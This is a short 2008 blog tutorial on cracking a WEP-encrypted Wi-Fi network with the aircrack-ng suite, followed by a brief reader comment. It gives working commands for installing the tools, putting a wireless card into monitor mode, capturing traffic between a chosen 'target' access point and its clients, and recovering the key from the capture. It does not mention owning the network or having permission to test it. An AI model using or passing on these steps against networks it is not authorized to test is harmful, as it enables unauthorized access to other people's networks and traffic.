How to crack a WEP encrypted wireless network
December 4th, 2008
查看本文的中文版 请点击这里
Linux is the best platform to do this job, of course u can hack a WIFI under windows as well, in that case u need to install a modded driver for your NIC to open monitor feature.
Tool:
aircrack-ng Platform: Linux 2.6.27 Hardware: Intel 2200BG Wireless network adapter
Installation:
- Make sure your wireless network card works well on linux. If u have questions, please visit wiki of your linux distro.
- Install aircrack-ng pack. U can simply do this through your package manager
- For ArchLinux user: pacman -S aircrack-ng
- For debian & ubuntu: apt-get install aircrack-ng
- For fedora: First add this repository Dag Wieers or Dries, then yum -y install aircrack-ng
Data Capture:
- Open the monitor function of your NIC through this command: airmon-ng start <interface>. then it should look like this:
- Start to capture data steam, airodump-ng <interface>
- Wait for a while, untill some APs and associated clients show up. Then u can choose a target to hack
- Type this command to capture data between your target AP and associated client, airodump-ng –bssid xx:xx:xx:xx:xx:xx -w dump <interface>
Cracking:
- When you think you have collected enough packet(usually the size of dump.cap should be between 40k to 85k). U can start to crack by this simple command: aircrack-ng -b xx:xx:xx:xx:xx:xx dump-01.cap The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets. You can use multiple files, just add all their names or you can use a wildcard such as dump*.cap.
- Just wait & enjoy
Wow!
I’m getting to test it on ubuntu in this weekend.